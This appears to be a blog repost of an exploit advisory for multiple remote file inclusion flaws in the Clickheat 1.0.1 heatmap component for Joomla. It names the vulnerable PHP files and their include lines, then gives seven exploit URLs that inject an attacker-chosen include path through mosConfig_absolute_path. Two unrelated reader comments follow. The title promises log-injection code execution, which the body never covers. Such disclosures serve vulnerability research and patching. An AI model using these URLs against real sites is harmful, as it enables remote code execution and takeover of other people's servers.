LFI to RCE via access_log injection

Clickheat [Heatmap stats for Joomla] 1.0.1 - Multiple RFI


[o] Clickheat - Heatmap stats for Joomla! 1.0.1 Multiple Remote File Inclusion Vulnerabilities
Software : com_clickheat version 1.0.1
Vendor : http://www.recly.com
Download : http://www.recly.com/index.php?option=com_recly&task=product_page&id=1
Author : NoGe


[o] Vulnerable file
administrator/components/com_clickheat/install.clickheat.php
require_once($GLOBALS['mosConfig_absolute_path']. '/administrator/components/com_clickheat/Recly_Config.php');
administrator/components/com_clickheat/includes/heatmap/_main.php
require_once( $mosConfig_absolute_path . '/components/Recly/Clickheat/Clickheat_Heatmap.php' );
administrator/components/com_clickheat/includes/heatmap/main.php
require_once( $mosConfig_absolute_path . '/components/Recly/Clickheat/Clickheat_Heatmap.php' );
administrator/components/com_clickheat/includes/overview/main.php
require_once( $mosConfig_absolute_path . '/components/Recly/Clickheat/Clickheat_Overview.php' );
administrator/components/com_clickheat/Recly/Clickheat/Cache.php
require_once( $GLOBALS['mosConfig_absolute_path'] . '/components/Recly/common/Logger.php');
administrator/components/com_clickheat/Recly/Clickheat/Clickheat_Heatmap.php
require_once( $GLOBALS['mosConfig_absolute_path'] . '/components/Recly/common/Logger.php');
administrator/components/com_clickheat/Recly/common/GlobalVariables.php
require_once($GLOBALS['mosConfig_absolute_path'].'/components/Recly/common/String.php');


[o] Exploit
http://localhost/[path]/administrator/components/com_clickheat/install.clickheat.php?GLOBALS[mosConfig_absolute_path]=[evilcode]
http://localhost/[path]/administrator/components/com_clickheat/includes/heatmap/_main.php?mosConfig_absolute_path=[evilcode]
http://localhost/[path]/administrator/components/com_clickheat/includes/heatmap/main.php?mosConfig_absolute_path=[evilcode]
http://localhost/[path]/administrator/components/com_clickheat/includes/overview/main.php?mosConfig_absolute_path=[evilcode]
http://localhost/[path]/administrator/components/com_clickheat/Recly/Clickheat/Cache.php?GLOBALS[mosConfig_absolute_path]=[evilcode]
http://localhost/[path]/administrator/components/com_clickheat/Recly/Clickheat/Clickheat_Heatmap.php?GLOBALS[mosConfig_absolute_path]=[evilcode]
http://localhost/[path]/administrator/components/com_clickheat/Recly/common/GlobalVariables.php?GLOBALS[mosConfig_absolute_path]=[evilcode]


Comments

labatterie said…
I’ve a presentation following week.
Unknown said…
I am confused from the detail posted above. For what purpose these stats are used ? I knew about heatmap tool and its use but do share what these files are meant for.
heat maps